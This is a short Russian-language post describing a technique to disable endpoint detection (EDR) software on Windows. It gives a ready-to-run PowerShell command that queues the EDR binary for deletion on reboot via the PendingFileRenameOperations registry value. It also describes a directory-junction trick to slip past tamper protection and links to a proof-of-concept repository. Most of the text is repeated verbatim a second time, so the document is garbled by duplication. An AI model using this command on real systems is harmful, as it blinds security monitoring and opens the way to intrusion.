Существует интересный трюк с использованием функции PendingFileRenameOperations. Этот механизм позволяет создавать операции переименования файлов через реестр по пути: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager
Например, можно направить эту запись на бинарный файл EDR. Вот пример команды в PowerShell:
new-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "PendingFileRenameOperations" -Value $($((Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name PendingFileRenameOperations -ErrorAction SilentlyContinue).PendingFileRenameOperations) + "\??\C:\Program Files\<EDR_PATH>.exe`0`0") -type MultiString -Force | Out-Null
Этот подход работает для продуктов безопасности, которые не используют механизмы защиты от вмешательства. Но если такие механизмы есть, они могут блокировать операции в реестре на уровне ядра (например, через CmRegisterCallbackEx).
Теперь о более интересной части. Если создать точку повторной обработки (junction), например:
C:\program-files -> C:\Program Files\
...то можно обмануть EDR и добавить запись в PendingFileRenameOperations, указав путь через эту точку. В большинстве случаев продукты безопасности такие трюки не проверяют.
Итог: на следующей перезагрузке бинарный файл EDR будет переименован в пустую строку, что приведет к его удалению. Конечно, для всего этого нужны права администратора.
PoC: https://github.com/rad9800/FileRenameJunctionsEDRDisable
Например, можно направить эту запись на бинарный файл EDR. Вот пример команды в PowerShell:
new-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name "PendingFileRenameOperations" -Value $($((Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name PendingFileRenameOperations -ErrorAction SilentlyContinue).PendingFileRenameOperations) + "\??\C:\Program Files\<EDR_PATH>.exe`0`0") -type MultiString -Force | Out-Null
Этот подход работает для продуктов безопасности, которые не используют механизмы защиты от вмешательства. Но если такие механизмы есть, они могут блокировать операции в реестре на уровне ядра (например, через CmRegisterCallbackEx).
Теперь о более интересной части. Если создать точку повторной обработки (junction), например:
C:\program-files -> C:\Program Files\
...то можно обмануть EDR и добавить запись в PendingFileRenameOperations, указав путь через эту точку. В большинстве случаев продукты безопасности такие трюки не проверяют.
Итог: на следующей перезагрузке бинарный файл EDR будет переименован в пустую строку, что приведет к его удалению. Конечно, для всего этого нужны права администратора.
PoC: https://github.com/rad9800/FileRenameJunctionsEDRDisable